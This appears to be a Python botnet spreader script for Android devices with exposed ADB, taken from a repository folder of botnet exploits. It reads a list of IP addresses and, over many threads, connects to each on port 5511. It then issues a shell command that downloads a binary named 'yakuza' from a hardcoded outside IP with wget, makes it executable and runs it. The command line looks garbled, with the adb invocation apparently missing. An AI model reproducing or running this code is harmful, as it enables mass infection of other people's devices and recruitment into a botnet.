Path: blob/master/Botnets/Exploits/ADB-ANDROID/andadb.py
5038 views
import sys1import threading2import requests3import os4import socket5import time6from Queue import *7from threading import Thread8#nexus zeta9if len(sys.argv) < 3:10sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list] [output file]")1112ips = open(sys.argv[1], "r").readlines()13queue = Queue()14queue_count = 01516info = open(str(sys.argv[1]),'a+')17output_file = sys.argv[2]1819def rtek(ip):20ip = str(ip).rstrip("\n")21try:22adb = socket.socket()23adb.settimeout(5)24adb.connect((ip,5511))25os.system(":5511 shell \"cd /data/local/tmp/; wget http://199.38.243.9/yakuza; chmod 777 *; .yakuza; android\"")26adb.close()27except Exception:28print "OFFLINE:\033[31m %s\033[37m"%(ip)29adb.close()30pass313233def main():34global queue_count35for line in ips:36line = line.strip("\r")37line = line.strip("\n")38queue_count += 139sys.stdout.write("\r[%d] Added to queue" % (queue_count))40sys.stdout.flush()41queue.put(line)42sys.stdout.write("\n")43i = 044while i != queue_count:45i += 146try:47input = queue.get()48thread = Thread(target=rtek, args=(input,))49thread.start()50time.sleep(0.1)51except KeyboardInterrupt:52os.kill(os.getpid(), 9)53thread.join()54return555657if __name__ == "__main__":58main()5960